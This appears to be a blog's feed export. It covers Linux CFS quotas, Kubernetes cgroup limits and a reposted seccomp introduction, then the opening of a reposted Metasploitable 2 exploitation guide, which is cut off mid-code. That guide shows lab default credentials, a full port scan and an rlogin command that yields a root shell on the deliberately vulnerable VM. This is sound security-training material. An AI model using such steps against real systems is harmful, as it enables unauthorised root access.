class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">const</span> u64 max_cfs_quota_period = <span class="number">1</span> * NSEC_PER_SEC; <span class="comment">/* 1s */</span></span><br><span class="line"><span class="type">const</span> u64 min_cfs_quota_period = <span class="number">1</span> * NSEC_PER_MSEC; <span class="comment">/* 1ms */</span></span><br></pre></td></tr></table></figure></li></ul><p>此外还有一个统计输出:</p><ul><li><strong><mark><code>cpu.stat</code></mark></strong>:输出 throttling statistics<br>后来还引入了一个优化项:</li><li>cpu.cfs_burst_us: the maximum accumulated run-time。上一个进程没用完的份额,可以给下一个 CPU 用。<br>默认值:</li></ul><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">cpu.cfs_period_us</span>=<span class="number">100</span>ms</span><br><span class="line"><span class="attr">cpu.cfs_quota_us</span>=-<span class="number">1</span></span><br><span class="line"><span class="attr">cpu.cfs_burst_us</span>=<span class="number">0</span> <span class="comment"># 5.15+</span></span><br></pre></td></tr></table></figure><h2 id="参考"><a class="markdownIt-Anchor" href="#参考"></a> 参考</h2><p><a href="https://arthurchiao.art/blog/linux-cfs-design-and-implementation-zh/">Linux CFS 调度器:原理、设计与内核实现(2023)</a></p>]]></content>
<summary type="html"><pre><code>Linux 默认调度器 CFS 相关的一些内容。
</code></pre></summary>
<category term="OS" scheme="https://blog.lancelot.top/tags/OS/"/>
</entry>
<entry>
<title>Kubernetes 资源限额</title>
<link href="https://blog.lancelot.top/2024/04/Kubernetes%20%E8%B5%84%E6%BA%90%E9%99%90%E9%A2%9D/"/>
<id>https://blog.lancelot.top/2024/04/Kubernetes%20%E8%B5%84%E6%BA%90%E9%99%90%E9%A2%9D/</id>
<published>2024-04-02T12:59:00.000Z</published>
<updated>2024-04-06T10:35:19.103Z</updated>
<content type="html"><![CDATA[<p>对于一个编排系统来说,**<mark>资源管理</mark>**至少需要考虑以下几个方面</p><ol><li>资源模型的抽象</li><li>资源的调度</li><li>资源的限额<br>k8s 是目前最流行的容器编排系统,那它是如何解决这些问题的呢?</li></ol><span id="more"></span><p><img src="/2024/04/Kubernetes%20%E8%B5%84%E6%BA%90%E9%99%90%E9%A2%9D/image-20240404162100256.png" alt></p><h2 id="cpu"><a class="markdownIt-Anchor" href="#cpu"></a> CPU</h2><p>Kubernetes 会为每个容器都在 CPU Cgroup 的子系统中建立一个控制组,然后把容器中进程写入到这个控制组里。</p><h3 id="硬限"><a class="markdownIt-Anchor" href="#硬限"></a> 硬限</h3><p>这样做对同宿主机的其他容器来说比较安全,因为一旦超过硬限,容器就无法运行,只能等待下一个period;对本容器来说,比较危险。</p><p>容器的核数=cpu.cfs_quota_us / cpu.cfs_period_us;</p><h3 id="软限"><a class="markdownIt-Anchor" href="#软限"></a> 软限</h3><p>cpu.cfs_quota_us =-1 ,仅设置cpu.shares,即为软限,通过软限可以提升整机的cpu利用率。因为只有当cpu繁忙时,shares才会起作用。并且shares的作用和进程nice值极为相似,都是影响红黑树上节点右移的速度,来间接控制任务获取cpu时间。</p><h3 id="cpucfs_quota_us-cpucfs_period_us"><a class="markdownIt-Anchor" href="#cpucfs_quota_us-cpucfs_period_us"></a> cpu.cfs_quota_us、cpu.cfs_period_us</h3><p>Kubernetes 是通过 CPU cgroup 控制模块中的 cpu.cfs_period_us,cpu.cfs_quota_us 两个配置来实现的。kubernetes 会为这个 container cgroup 配置两条信息:</p><blockquote><p>cpu.cfs_period_us = 100000 (i.e. 100ms)<br>cpu.cfs_quota_us = quota = (cpu in millicores * 100000) / 1000</p></blockquote><p>容器 CPU 的上限由 cpu.cfs_quota_us 除以 cpu.cfs_period_us 得出的值来决定的。而且,在操作系统里,cpu.cfs_period_us 的值一般是个固定值。<br>在 cgroup 的 CPU 子系统中,可以通过这两个配置,严格控制这个 cgroup 中的进程对 CPU 的使用量,保证使用的 CPU 资源不会超过 cfs_quota_us/cfs_period_us,也正好就是申请的 limit 值。<br>对于 cpu 来说,如果没有指定 limit 的话,那么 cfs_quota_us 将会被设置为 -1,即没有限制。</p><h3 id="cpushares"><a class="markdownIt-Anchor" href="#cpushares"></a> cpu.shares</h3><p>在 CPU Cgroup 中 cpu.shares == 1024 表示 1 个 CPU 的比例,那么 Request CPU 的值就是 n,给 cpu.shares 的赋值对应就是 n X 1024。<br>CPU request 是通过 cgroup 中 CPU 子系统中的 cpu.shares 配置来实现的。当你指定了某个容器的 CPU request 值为 x millicores 时,kubernetes 会为这个 container 所在的 cgroup 的 cpu.shares 的值指定为 x * 1024 / 1000。即:</p><blockquote><p>cpu.shares = (cpu in millicores * 1024) / 1000</p></blockquote><p>举个例子,当你的 container 的 CPU request 的值为 1 时,它相当于 1000 millicores,所以此时这个 container 所在的 cgroup 组的 cpu.shares 的值为 1024。<br>这样做希望达到的终效果就是:即便在极端情况下,即所有在这个物理机上面的 pod 都是 CPU 繁忙型的作业的时候(分配多少 CPU 就会使用多少 CPU),仍旧能够保证这个 container 的能够被分配到 1 个核的 CPU 计算量。其实就是保证这个 container 的对 CPU 资源的低需求。即"Request CPU"就是无论其他容器申请多少 CPU 资源,即使运行时整个节点的 CPU 都被占满的情况下,我的这个容器还是可以保证获得需要的 CPU 数目。</p><p>所以</p><ul><li>在闲的时候,shares 基本上不起作用,只有在 CPU 忙的时候起作用,这是一个优点。</li><li>由于 shares 是一个绝对值,需要和其它 cgroup 的值进行比较才能得到自己的相对限额,而在一个部署很多容器的机器上,cgroup 的数量是变化的,所以这个限额也是变化的,自己设置了一个高的值,但别人可能设置了一个更高的值,所以这个功能没法精确的控制 CPU 使用率。</li></ul><h3 id="概念"><a class="markdownIt-Anchor" href="#概念"></a> 概念</h3><table><thead><tr><th>Key</th><th>Description</th></tr></thead><tbody><tr><td>cpu.shares</td><td>Cgroup 按时分配时间。它适用于所有 CPU (内核) ,默认值为1024。例如,系统中有两个 cgroup,A 和 B。A 的shares value是1024,B 的shares value是512。因此,A 获得66% (1024/(1024 + 512))的 CPU 资源,而 B 获得33% 。</td></tr><tr><td>cpu.cfs_period_us</td><td>调度程序的时间配额调整期。该值范围从1毫秒(ms)到1秒(s) ,用于配置当前 cgroup 在设置周期内可以使用的 CPU 时间。</td></tr><tr><td>cpu.cfs_quota_us</td><td>计划程序周期中可以占用的时间。该值大于1毫秒。Cfs _ quotus 的值是 -1(默认值) ,这意味着它不受 CPU 时间的限制。</td></tr><tr><td>cpu.stat</td><td>CPU 统计信息, including nr_periods, nr_throttled, throttled_time</td></tr></tbody></table><h3 id="docker"><a class="markdownIt-Anchor" href="#docker"></a> docker</h3><p>在docker中可以使用以下参数:</p><table><thead><tr><th>参数</th><th>作用</th></tr></thead><tbody><tr><td><code>--cpuset-cpus</code></td><td>限制一个容器可以使用的特定CPU或内核。如果你有一个以上的CPU,一个以逗号分隔的列表或以连字符分隔的容器可以使用的CPU范围。第一个CPU的编号是0。一个有效的值可能是0-3(使用第一、第二、第三和第四个CPU)或1,3(使用第二和第四个CPU)。</td></tr><tr><td><code>--cpu-shares</code></td><td>将这个标志设置为一个大于或小于默认值1024的值,以增加或减少容器的重量,并使它能够获得更大或更小比例的主机CPU周期。这只有在CPU周期受到限制时才会强制执行。当有大量的CPU周期可用时,所有的容器都会根据自己的需要使用尽可能多的CPU。这样一来,这是一个软限制。</td></tr><tr><td><code>--cpu-period</code></td><td>指定CPU CFS调度器的周期,与<code>--cpu-quota</code>一起使用。默认为100000微秒(100毫秒)。大多数用户不改变这个默认值。对于大多数使用情况,<code>--cpu</code>是一个更方便的选择。</td></tr><tr><td><code>--cpu-quota</code></td><td>对容器施加一个CPU CFS配额。容器在节流前每<code>--cpu-period</code>被限制的微秒数。因此,作为有效的上限。对于大多数使用情况,<code>--cpu</code>是一个更方便的选择。</td></tr><tr><td><code>--cpus</code></td><td>指定一个容器可以使用多少可用的CPU资源。例如,如果主机有两个CPU,而你设置了–cpus=“1.5”,那么容器最多保证使用一个半的CPU。这相当于设置<code>--cpu-period="100000"</code>和<code>--cpu-quota="150000"</code>。docker 1.13支持支持,替换cpu-period和cpu-quota</td></tr></tbody></table><h2 id="memory"><a class="markdownIt-Anchor" href="#memory"></a> Memory</h2><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pod<UID>/memory<span class="selector-class">.limit_in_bytes</span> = <span class="built_in">sum</span>(pod<span class="selector-class">.spec</span><span class="selector-class">.containers</span><span class="selector-class">.resources</span><span class="selector-class">.limits</span><span class="selector-attr">[memory]</span>)</span><br></pre></td></tr></table></figure><p>内存的单位在 requests/limits 和在 cgroup 配置文件中都是一样的,所以直接写入 cgroup 内存配置文件。 对于 cgroup v1,</p><ul><li><strong><code>memory.memsw.limit_in_bytes</code></strong> (memory+swap limit)</li><li><strong><code>memory.kmem.limit_in_bytes</code></strong> (kernel memory limit)</li><li><strong><code>memory.limit_in_bytes</code></strong> (limit of memory)</li></ul><p><code>memory.limit_in_bytes</code> 限制了控制组中所有进程的用户空间内存使用总量,<code>memory.memsw.limit_in_bytes</code> 同时限制了物理内存和交换空间的总和,而 <code>memory.kmem.limit_in_bytes</code> 专门限制了内核内存的使用</p><h2 id="qos"><a class="markdownIt-Anchor" href="#qos"></a> QoS</h2><p>实际的业务场景需要我们能**<mark>根据优先级高低区分几种 pod</mark>**。例如,</p><ul><li>高优先级 pod:无论何时,都应该首先保证这种 pod 的资源使用量;</li><li>低优先级 pod:资源充足时允许运行,资源紧张时优先把这种 pod 赶走,释放出的资源分给中高优先级 pod;</li><li>中优先级 pod:介于高低优先级之间,看实际的业务场景和需求。</li></ul><p>k8s 针对这种需求提供了 cgroups-per-qos 选项:</p><figure class="highlight angelscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// pkg/kubelet/apis/config/types.go</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Enable QoS based Cgroup hierarchy: top level cgroups for QoS Classes</span></span><br><span class="line"><span class="comment">// And all Burstable and BestEffort pods are brought up under their specific top level QoS cgroup.</span></span><br><span class="line">CgroupsPerQOS <span class="built_in">bool</span></span><br></pre></td></tr></table></figure><p>如果设置了 kubelet <strong><mark><code>--cgroups-per-qos=true</code></mark></strong> 参数(默认为 true), 就会将所有 pod 分成三种 QoS,优先级从高到低:<strong><mark><code>Guaranteed > Burstable > BestEffort</code></mark></strong>。 三种 QoS 是根据 <code>requests/limits</code> 的大小关系来定义的:</p><ol><li><p>Guaranteed: <strong><mark><code>requests == limits, requests != 0</code></mark></strong>, 即 <code>正常需求 == 最大需求</code>,换言之 spec 要求的资源量必须得到保证,少一点都不行;</p></li><li><p>Burstable: <strong><mark><code>requests < limits, requests != 0</code></mark></strong>, 即 <code>正常需求 < 最大需求</code>,资源使用量可以有一定弹性空间;</p></li><li><p>BestEffort: <strong><mark><code>request == limits == 0</code></mark></strong>, 创建 pod 时**<mark>不指定 requests/limits</mark>** 就等同于设置为 0,kubelet 对这种 pod 将尽力而为;有好处也有坏处:</p><ul><li>好处:node 的资源充足时,这种 pod 能使用的资源量没有限制;</li><li>坏处:这种 pod 的 QoS 优先级最低,当 <strong><mark>node 资源不足时,最先被驱逐</mark></strong>。</li></ul></li></ol><p>每个 QoS 对应一个子 cgroup,设置**<mark>该 QoS 类型的所有 pods 的总资源限额</mark>**, 三个 cgroup 共同构成了 <code>kubepods</code> cgroup。 每个 QoS cgroup 可以认为是一个资源池,每个池子内的 pod 共享资源。</p><p>QoS 级别 cgroup 是使用与 Pod 级别 cgroup 相同的 <code>-cgroups-per-qos</code> 参数同时创建的。并且这三种资源计费方法分别对应不同的QoS级别。</p><p>此时,每个QoS cgroup可以认为是一个资源池,内部的Pod可以共享资源,并根据优先级合理获取资源。</p><p><img src="/2024/04/Kubernetes%20%E8%B5%84%E6%BA%90%E9%99%90%E9%A2%9D/image-20240404160559524.png" alt></p><p>Kubelet 致力于提高资源效率,默认对 Qos 不设置资源限制,以便 Burstable 和 BestEffort Pod 在需要时可以使用足够的空闲资源。但也要求低优先级的Pod在Guaranteed Pod需要资源时及时释放资源。</p><p>对于CPU等可压缩资源,可以通过CPU CFS共享来进行控制,将资源按比例分配给每个QoS Pod,保证在CPU资源有限的情况下,每个Pod都能获得其申请的资源。</p><h2 id="参考"><a class="markdownIt-Anchor" href="#参考"></a> 参考</h2><p><a href="https://arthurchiao.art/blog/k8s-cgroup-zh/">k8s 基于 cgroup 的资源限额(capacity enforcement):模型设计与代码实现(2023)</a></p><p><a href="https://medium.com/geekculture/layer-by-layer-cgroup-in-kubernetes-c4e26bda676c">Layer-by-Layer Cgroup in Kubernetes | by Stefanie Lai | Geek Culture | Medium</a></p><p><a href="https://gist.github.com/mcastelino/b8ce9a70b00ee56036dadd70ded53e9f">Kubernetes and cgroups Resource Management/Static cpuManagerPolicy/Memory and Resource Isolation & Scheduling · GitHub</a></p><p><a href="https://github.com/kubernetes/design-proposals-archive/blob/main/node/node-allocatable.md">design-proposals-archive/node/node-allocatable.md at main · kubernetes/design-proposals-archive · GitHub</a></p><p><a href="https://www.seafog.cn/archives/891889117">kubernetes 和 docker 中 Cgroup 限制 CPU 的工作原理 - seafog</a></p>]]></content>
<summary type="html"><p>对于一个编排系统来说,**<mark>资源管理</mark>**至少需要考虑以下几个方面</p>
<ol>
<li>资源模型的抽象</li>
<li>资源的调度</li>
<li>资源的限额<br>
k8s 是目前最流行的容器编排系统,那它是如何解决这些问题的呢?</li>
</ol></summary>
<category term="Cgroup" scheme="https://blog.lancelot.top/tags/Cgroup/"/>
</entry>
<entry>
<title>Introduction to Seccomp</title>
<link href="https://blog.lancelot.top/2024/04/Introduction%20to%20Seccomp/"/>
<id>https://blog.lancelot.top/2024/04/Introduction%20to%20Seccomp/</id>
<published>2024-04-01T16:00:00.000Z</published>
<updated>2024-04-06T10:35:28.664Z</updated>
<content type="html"><![CDATA[<p>转载防失效</p><p><a href="https://outshift.cisco.com/blog/introduction-to-seccomp">Outshift | Introduction to Seccomp</a></p><span id="more"></span><h2 id="containers"><a class="markdownIt-Anchor" href="#containers"></a> Containers</h2><p>Over the years, the way we build our applications has changed from a monolithic paradigm to a Microservices paradigm. Containerization gained strength, and with it the success of Docker and Kubernetes.</p><p>Briefly, a container is a set of processes. If you have multiple containers, you will have multiple sets of processes which are isolated from each other using namespaces and cgroups. Namespaces are responsible for isolating processes (which processes can my process see?) and cgroups are responsible for reserving resources for the processes (how much CPU can my process use?).</p><p><img src="/2024/04/Introduction%20to%20Seccomp/image-20240402113016295.png" alt></p><p>In the image above, we have an example of the isolation done by namespace. The ubuntu pod, pictured, is executing a <em>sleep</em> command. For the pod, <em>sleep</em> is the process with PID 1. The container doesn’t see any processes from the host, or from other containers, so it considers the <em>sleep</em> process as the first one. Otherwise, the host can see the processes inside all containers, and for him the PID of the <em>sleep</em> process is 7275.</p><p>Who is responsible for creating the namespace for each container? The answer is simple: <strong>the runtime container</strong> handles this task (Example: runc on docker). But if the process need access to hardware, how is this done? Here, we need to understand the concepts of user space and kernel space.</p><h2 id="user-space-x-kernel-space"><a class="markdownIt-Anchor" href="#user-space-x-kernel-space"></a> User space x Kernel Space</h2><p>Linux divides the memory into <strong>user space</strong> and <strong>kernel space</strong>. All user processes live on the <strong>user space</strong> and the kernel processes on <strong>kernel space</strong>. When a user process needs to interact with hardware, it makes system calls, or just syscalls, to the kernel on the kernel space.</p><p><img src="/2024/04/Introduction%20to%20Seccomp/image-20240402113037151.png" alt></p><p>Although processes inside a container cannot see those on the host due to the isolation created by namespaces, there is no analogous solution for the kernel. That is, our containers share the same kernel space between themselves and the host. Thus, it would be possible for a container to erase file systems using syscall, or write on files that require privileges. This is far less secure than using virtual machines where each service has its own user and kernel space.</p><h2 id="seccomp"><a class="markdownIt-Anchor" href="#seccomp"></a> Seccomp</h2><p>The good news is that it is possible to restrict the syscalls a process can do. Seccomp is a Linux kernel feature available since version 2.6.12, which limits the syscalls a process can do. The seccomp makes use of profiles which are json files that tell what is allowed and what is not allowed regarding system calls.<br>The runtimes already leverage seccomp profiles to limit some system calls by default. It’s possible to use its profiles on Kubernetes by enabling a feature gate on kubelet. However, it is also possible to add more security by creating customized and more restrictive profiles for a specific pod.</p><h2 id="seccomp-on-kubernetes-pods"><a class="markdownIt-Anchor" href="#seccomp-on-kubernetes-pods"></a> Seccomp on Kubernetes Pods</h2><p>Using <strong><em>securityContext</em></strong> you can use seccomp profiles on your pods or containers. Here’s an example of a Pod that uses a seccomp profile (We’ll use this example later). The profile can be specified inside the Pod or the container, the difference is that when you do it inside the Pod all the containers inside it use the same profile. It is also important to set <strong><em>allowPrivilegeEscalation</em></strong> to false to prevent the container from trying to acquire more power than is allowed. Otherwise, the seccomp profile won’t be applied.</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Pod</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line"> <span class="attr">creationTimestamp:</span> <span class="literal">null</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">ubuntu-deny</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line"> <span class="attr">securityContext:</span></span><br><span class="line"> <span class="attr">seccompProfile:</span></span><br><span class="line"> <span class="attr">type:</span> <span class="string">Localhost</span></span><br><span class="line"> <span class="attr">localhostProfile:</span> <span class="string">deny-list.json</span></span><br><span class="line"> <span class="attr">containers:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="attr">image:</span> <span class="string">ubuntu</span></span><br><span class="line"> <span class="attr">name:</span> <span class="string">ubuntu-deny</span></span><br><span class="line"> <span class="attr">command:</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">sleep</span></span><br><span class="line"> <span class="bullet">-</span> <span class="string">"90000"</span></span><br><span class="line"> <span class="attr">securityContext:</span></span><br><span class="line"> <span class="attr">allowPrivilegeEscalation:</span> <span class="literal">false</span></span><br></pre></td></tr></table></figure><p>Seccomp is a powerful tool. But knowing which system call we should permit our process to do is a difficult task. A simple command like <em>sleep</em> can make a few dozen system calls as shown in the image below.</p><p><img src="/2024/04/Introduction%20to%20Seccomp/image-20240402113056251.png" alt></p><p>One way to get around this is using deny-type profiles. In a <strong>deny list</strong> you prohibit some calls and allow all others. This way you can ensure that your container won’t try to do stranger things with the host. And you will be able to answer faster to new threats. Here is an example of a <strong>deny list</strong>.</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"><span class="attr">"defaultAction"</span><span class="punctuation">:</span> <span class="string">"SCMP_ACT_ALLOW"</span><span class="punctuation">,</span></span><br><span class="line"><span class="attr">"architectures"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"><span class="string">"SCMP_ARCH_X86_64"</span><span class="punctuation">,</span></span><br><span class="line"><span class="string">"SCMP_ARCH_X86"</span><span class="punctuation">,</span></span><br><span class="line"><span class="string">"SCMP_ARCH_X32"</span></span><br><span class="line"><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"><span class="attr">"syscalls"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"><span class="punctuation">{</span></span><br><span class="line"><span class="attr">"names"</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="string">"clock_nanosleep"</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"><span class="attr">"action"</span><span class="punctuation">:</span> <span class="string">"SCMP_ACT_ERRNO"</span></span><br><span class="line"><span class="punctuation">}</span></span><br><span class="line"><span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>This <strong>deny list</strong> restricts the use of the <em><strong>clock_nanosleep</strong></em> system call. If you look at the previous example, this call is used by the sleep command. When this profile is applied to our pod, which executes the command sleep, the pod goes directly to <em>Error state</em>. That is, the process does not even run.</p><p><img src="/2024/04/Introduction%20to%20Seccomp/image-20240402113107214.png" alt></p><p>If you want to know more about seccomp and how we do at Cisco I recommend the article “Hardening Kubernetes Containers Security with Seccomp” here on the Techblog. In this article you will learn more about the best practices for creating and managing the seccomp profiles and how to use Cisco Secure Firewall Cloud Native to enhance seccomp.</p><h2 id="references"><a class="markdownIt-Anchor" href="#references"></a> References</h2><ul><li><a href="https://kubernetes.io/docs/tutorials/clusters/seccomp/?ref=192.168.1.240">Restrict a Container’s Syscalls with seccomp</a></li><li><a href="https://techblog.cisco.com/blog/hardening-kubernetes-containers-security-with-seccomp/?ref=192.168.1.240">Hardening Kubernetes Containers Security with Seccomp</a></li><li><a href="https://www.redhat.com/en/blog/architecting-containers-part-1-why-understanding-user-space-vs-kernel-space-matters?ref=192.168.1.240">Architecting Containers Part 1: Why Understanding User Space vs. Kernel Space Matters</a></li></ul>]]></content>
<summary type="html"><p>转载防失效</p>
<p><a href="https://outshift.cisco.com/blog/introduction-to-seccomp">Outshift | Introduction to Seccomp</a></p></summary>
</entry>
<entry>
<title>Metasploitable 2 Exploitability Guide</title>
<link href="https://blog.lancelot.top/2024/04/Metasploitable%202%20Exploitability%20Guide/"/>
<id>https://blog.lancelot.top/2024/04/Metasploitable%202%20Exploitability%20Guide/</id>
<published>2024-04-01T16:00:00.000Z</published>
<updated>2024-04-06T10:35:37.232Z</updated>
<content type="html"><![CDATA[<p>转载防止失效</p><p><a href="https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/">Metasploitable 2 Exploitability Guide | Metasploit Documentation</a></p><span id="more"></span><p>The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. Version 2 of this virtual machine is <a href="https://information.rapid7.com/metasploitable-download.html">available for download</a> and ships with even more vulnerabilities than the original image. This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms. By default, Metasploitable’s network interfaces are bound to the NAT and Host-only network adapters, and the image should never be exposed to a hostile network. (Note: A video tutorial on installing Metasploitable 2 is available <a href="https://community.rapid7.com/thread/2007">here</a>.)</p><p>This document outlines many of the security flaws in the Metasploitable 2 image. Currently missing is documentation on the web server and web application flaws as well as vulnerabilities that allow a local user to escalate to root privileges. This document will continue to expand over time as many of the less obvious flaws with this platform are detailed.</p><h2 id="getting-started"><a class="markdownIt-Anchor" href="#getting-started"></a> Getting Started</h2><p>After the virtual machine boots, login to console with username <code>msfadmin</code> and password <code>msfadmin</code>. From the shell, run the <code>ifconfig</code> command to identify the IP address.</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">msfadmin</span>@metasploitable:~$ ifconfig</span><br><span class="line"> </span><br><span class="line"><span class="attribute">eth0</span> Link encap:Ethernet HWaddr <span class="number">00</span>:<span class="number">0</span>c:<span class="number">29</span>:<span class="number">9</span>a:<span class="number">52</span>:c1 </span><br><span class="line"> <span class="attribute">inet</span> addr:<span class="number">192.168.99.131</span> Bcast:<span class="number">192.168.99.255</span> Mask:<span class="number">255.255.255.0</span></span><br><span class="line"> <span class="attribute">inet6</span> addr: fe80::<span class="number">20</span>c:<span class="number">29</span>ff:fe9a:<span class="number">52</span>c1/<span class="number">64</span> Scope:Link</span><br><span class="line"> <span class="attribute">UP</span> BROADCAST RUNNING MULTICAST MTU:<span class="number">1500</span> Metric:<span class="number">1</span></span><br></pre></td></tr></table></figure><h2 id="services"><a class="markdownIt-Anchor" href="#services"></a> Services</h2><p>From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the <a href="https://nmap.org/">Nmap Security Scanner</a>. The following command line will scan all TCP ports on the Metasploitable 2 instance:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">root@ubuntu:~<span class="comment"># nmap -p0-65535 192.168.99.131</span></span><br><span class="line"> </span><br><span class="line">Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT</span><br><span class="line">Nmap scan report <span class="keyword">for</span> 192.168.99.131</span><br><span class="line">Host is up (0.00028s latency).</span><br><span class="line">Not shown: 65506 closed ports</span><br><span class="line">PORT STATE SERVICE</span><br><span class="line">21/tcp open ftp</span><br><span class="line">22/tcp open ssh</span><br><span class="line">23/tcp open telnet</span><br><span class="line">25/tcp open smtp</span><br><span class="line">53/tcp open domain</span><br><span class="line">80/tcp open http</span><br><span class="line">111/tcp open rpcbind</span><br><span class="line">139/tcp open netbios-ssn</span><br><span class="line">445/tcp open microsoft-ds</span><br><span class="line">512/tcp open <span class="built_in">exec</span></span><br><span class="line">513/tcp open login</span><br><span class="line">514/tcp open shell</span><br><span class="line">1099/tcp open rmiregistry</span><br><span class="line">1524/tcp open ingreslock</span><br><span class="line">2049/tcp open nfs</span><br><span class="line">2121/tcp open ccproxy-ftp</span><br><span class="line">3306/tcp open mysql</span><br><span class="line">3632/tcp open distccd</span><br><span class="line">5432/tcp open postgresql</span><br><span class="line">5900/tcp open vnc</span><br><span class="line">6000/tcp open X11</span><br><span class="line">6667/tcp open irc</span><br><span class="line">6697/tcp open unknown</span><br><span class="line">8009/tcp open ajp13</span><br><span class="line">8180/tcp open unknown</span><br><span class="line">8787/tcp open unknown</span><br><span class="line">39292/tcp open unknown</span><br><span class="line">43729/tcp open unknown</span><br><span class="line">44813/tcp open unknown</span><br><span class="line">55852/tcp open unknown</span><br><span class="line">MAC Address: 00:0C:29:9A:52:C1 (VMware)</span><br></pre></td></tr></table></figure><p>Nearly every one of these listening services provides a remote entry point into the system. In the next section, we will walk through some of these vectors.</p><h2 id="unix-basics"><a class="markdownIt-Anchor" href="#unix-basics"></a> Unix Basics</h2><p>TCP ports 512, 513, and 514 are known as “r” services, and have been misconfigured to allow remote access from any host (a standard “.rhosts + +” situation). To take advantage of this, make sure the “rsh-client” client is installed (on Ubuntu), and run the following command as your local root user. If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH.</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># rlogin -l root 192.168.99.131</span></span><br><span class="line"><span class="attribute">Last</span> login: Fri Jun <span class="number">1</span> <span class="number">00</span>:<span class="number">10</span>:<span class="number">39</span> EDT <span class="number">2012</span> from :<span class="number">0</span>.<span class="number">0</span> <span class="literal">on</span> pts/<span class="number">0</span></span><br><span class="line"><span class="attribute">Linux</span> metasploitable <span class="number">2</span>.<span class="number">6</span>.<span class="number">24</span>-<span class="number">16</span>-server #<span class="number">1</span> SMP Thu Apr <span class="number">10</span> <span class="number">13</span>:<span class="number">58</span>:<span class="number">00</span> UTC <span class="number">2008</span> i686</span><br><span class="line"> </span><br><span class="line"><span class="attribute">root</span>@metasploitable:~#</span><br></pre></td></tr></table></figure><p>This is about as easy as it gets. The next service we should look at is the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services. The example below using <code>rpcinfo</code> to identify NFS and <code>showmount -e</code> to determine that the “/” share (the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages to follow along.</p><figure class="highlight tap"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span 